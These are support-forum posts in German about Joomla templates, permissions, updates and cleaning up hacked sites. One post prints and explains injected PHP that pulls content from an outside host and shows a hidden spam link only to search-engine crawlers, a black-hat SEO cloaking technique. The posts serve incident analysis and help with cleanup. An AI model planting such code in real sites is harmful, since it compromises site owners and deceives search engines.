Beiträge von flow

Das Layout wird in Joomla! per Template festgelegt. Um den Contentbereich zu vergrößern kannst du entweder das bestehende Template ändern oder ein anderes Template verwenden. Eine Übersicht, wo du Templates herbekommen kannst, findest du hier: Woher bekomme ich Templates bzw. Themes für Joomla?

Wie man Templates ändert ist in folgenden Beiträgen erklärt:

• Joomlaeigene Templates anpassen/ändern (z.B. Protostar, Beez3)
• Was sind Overrides und wie erstellt man diese
• Templates, Stile und Overrides
• CSS-Anpassungen im Template Protostar

Für Einsteiger empfiehlt es sich außerdem, sich einige einführende Texte durchzulesen, z.B. diese hier: Joomla ist neu für mich, wie fange ich an?

Zitat von HolgerGr

Dabei hat er den restlichen (eigentlichen) Code vom Parsen ausgeklammert indem er ein php-Schlusstag davor gesetzt hat.

Nein, es wurde nur ein Codeblock, der sowohl Eröffnungs- wie auch Schlußtag enthielt, vor den Joomla!-Code gesetzt, während der Eröffnungstag des Joomla!-Codes erhalten blieb. Könnte der Joomla!-Corecode nicht mehr ausgeführt werden, würde die Kompromittierung schneller auffallen und damit für den Angreifer nutzlos werden.

Zitat von hechtnetz

Du müsstest die komplette Installation, Datei für Datei, untersuchen ob sie mit einer sauberen Installation identisch ist. Da Du nicht mal weißt, was an Erweiterungen installiert war: ein schier aussichtsloses Unterfangen

Dafür gibt es Werkzeuge (z.B. diff auf der Kommandozeile, Filezilla hat afaik ebenfalls eine solche Funktion). Die verwendeten Komponenten stehen in der Datenbank.

Zitat von hechtnetz

In einer VM ohne Internetzugang kann man die Seuche

Overkill, das ist nur PHP-Code, der dein lokales System nicht so einfach infizieren kann. Ohne den Code genauer analysiert zu haben würde ich davon ausgehen, dass eine gezielte Interaktion von außen notwendig ist, um ihn dazu zu bringen etwas zu tun.

Zitat von HolgerGr

Technisch sollte das recht einfach sein, denn der Code steht im ganz oben, deutlich abgesetzt vom eigentlichen Seitencode.

Da würde ich nicht drauf wetten. Mit ziemlicher Sicherheit wirst du Schadcode an anderer Stelle finden, möglicherweise auch in der Datenbank, ebenso wie Dateien, die überhaupt nicht zu Joomla! gehören.
Wenn das keine besondes große Seite ist, wäre aus meiner Sicht das Sinnvollste, die Seite komplett neu aufzusetzen. Die Texte kannst du dir aus der Datenbank holen, Bilder und andere Medien dürften sauber sein.

Bist du sicher, dass PHP für den Webspace aktivert ist?

Zitat von joomla234566

joomla.php

Du könntest nachsehen, ob in deinem Wurzelverzeichnis die oben stehende Datei vorhanden ist. Falls ja, bist du gehackt worden. Ich tippe allerdings auf nein, denn der Angriff, den dein Logfile zeigt, ist seit längerem bekannt (siehe: https://blog.sucuri.net/2015/1…nerability-in-joomla.html) und bei aktuellen Joomla!-Versionen, ab Version 3.4.6, nicht mehr erfolgreich. Außerdem wurde Statuscode »403« zurückgegeben, was darauf hindeutet, dass die Anfrage von deinem Server (möglicherweise über einen Eintrag in der htaccess) abgeblockt wurde.

Interessant wäre noch zu wissen, ob die leere Datei dasselbe Änderungs-/Erstellungsdatum wie die anderen hat. Falls nein, wäre das ein Hinweis, dass da jemand in deinem Webspace unterwegs ist, der da nichts verloren hat. Falls ja, wäre das allerdings auch keine Entwarnung, denn Daten können angepasst werden.

Zitat von zero24

ggf. bist du auch gehackt worden.

Das oder beim letzten Update gab es Fehler bei der Übertragung einiger Dateien. Hast du mal in der Benutzeradministration geschaut, ob es Nutzer gibt, die du nicht angelegt hast?

Zitat von zero24

Daher existiert auch keine XML Datei mehr welche der Erweiterungsupdater aber benötigt. Die Fehlermeldung alleine deutet hier also nicht auf ein wwwrun Problem hin

Um das zu verifizieren könnte der TE ja mal versuchen eine beliebige Erweiterung zu installieren.

Zitat von zero24

außerdem könnte dann auch kein JCE oder JEvents installiert werden

Vorausgesetzt zum Zeitpunkt der Installation existierte das Problem schon. Wenn z.B. der Hoster Webspace verschiebt, kann da schon mal etwas schiefgehen.

Zitat von zero24

Das ist normal da diese Datei nach dem speichern im Joomla Backend immer auf nicht beschreibbar gesetzt wird.

Richtig, um die Datei zu ändern muss Joomla allerdings Besitzer der Datei sein. Andernfalls könnte man aus dem Backend die Konfiguration nur dann ändern, wenn man vorher händisch, per Kommandozeile oder FTP, die Dateiberechtigungen geändert hat. Das, und die fehlende Berechtigung für das Entpacken von Erweiterungs-/Aktualisierungspaketen, deuten auf fehlende Rechte des Webservers/Joomla-Benutzers hin.

Zitat von Stefan_84

Die Configuration.php konnte ich nicht bearbeiten, da der Zugriff verweigert wird.

Da hast du deine Antwort. Wahrscheinlich kannst du keine Erweiterungen installieren, weil aufgrund von Rechteproblemen das Erweiterungspaket nicht entpackt werden kann, was dazu führt, dass keine XML-Installationsdatei gefunden wird. Das FTP-Update wäre dann wohl die Lüsung, allerdings auch keine dauerhafte, weil du dann die Vorzüge des Joomla-One-Click-Updaters nicht genießen kannst.

Gute Frage, ist das denn auch eine Joomla! 3.6-Website?

Das ist zu alt. Die Mindestanforderung für Joomla! 3.6 ist MySQL 5.1.

Welche MySQL-Version verwendest du?

Zitat von roblex

Seit gestern habe ich das Problem

Was hast du gestern denn geändert? Hast du die Einstellungen in der/den NGINX/Apache-Config(s) überprüft?

Zitat von roblex

im Adminbereich einer meiner Unterordner

Sehe ich das richtig, dass das Verhalten nur im Backend auftritt, nicht aber beim Besuch des Frontends?

Ersetze

eregi($search, $r_xml, $search_result1);

mit

preg_match('%' .$search. '%i', $r_xml, $search_result1);

und

eregi($spider, $_SERVER['HTTP_USER_AGENT'])

zu

stripos($_SERVER['HTTP_USER_AGENT'], $spider)

Wobei du letzteren Code bzw. den folgenden ganzen Block auch rausschmeißen könntest, wenn keine vertraglichen Absprachen dem entgegenstehen. Was diese Zeilen

ini_set('display_errors',0);
$path = $_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];
$path = str_replace("&", "",$path);
$target = dirname(__FILE__) . DIRECTORY_SEPARATOR . "mods.php";
$source = 'http://psdu.net/i5.php?i='.$path;
$cachetime = 86400;
if ((file_exists($target)) && (time() - $cachetime) > filemtime($target)) {    
$string = file_get_contents($source);$result = file_put_contents($target, $string);}
$spiders = array('Googlebot','Yahoo','msnbot','Googlebot-Mobile');
$credits = file_get_contents($target);
foreach ($spiders as $spider){if (eregi($spider, $_SERVER['HTTP_USER_AGENT'])){echo $credits;}}

nämlich tun, ist, den Suchmaschinen Google, Yahoo, etc. einen Link zu einem T-Shirt-Laden (tshirt-elefant) einzublenden, was eine Black-Hat-SEO-Technik darstellt, und meistens mit den Website-Besitzern nicht abgesprochen.

Zitat von hechtnetz

Mit Protostar funktioniert es, soweit angezeigt.

Das verstehe ich nicht: Was wird angezeigt?

Die eregi()-Funktion ist seit PHP 5.3 veraltet, in PHP 7 wurde sie ganz entfernt. Du musst sie mit der preg_match-Funktion ersetzen.

Höchstens etwaige Einträge in der Htaccess müssten angepasst werden.

Hast du mal in den Menüeinträgen geschaut, ob »SSL erzwingen« (Menüeintrag > Tab ›Metadaten‹) pro Menüeintrag aktiviert ist?

Öhm, ich bekomme da folgende Fehlermeldung:

Fatal error:  Call to protected method JApplicationSite::route() from context '' in /***/schwechat/index.php on line 44

»getnew.php« ist keine Datei, die in Joomla! vorkommt, sondern stammt wohl aus dem Hack. Da du die Site neu aufgesetzt hast, wundert Google sich jetzt, wo denn die ganzen URLs hin sind, die der Angreifer bei dir platziert hatte.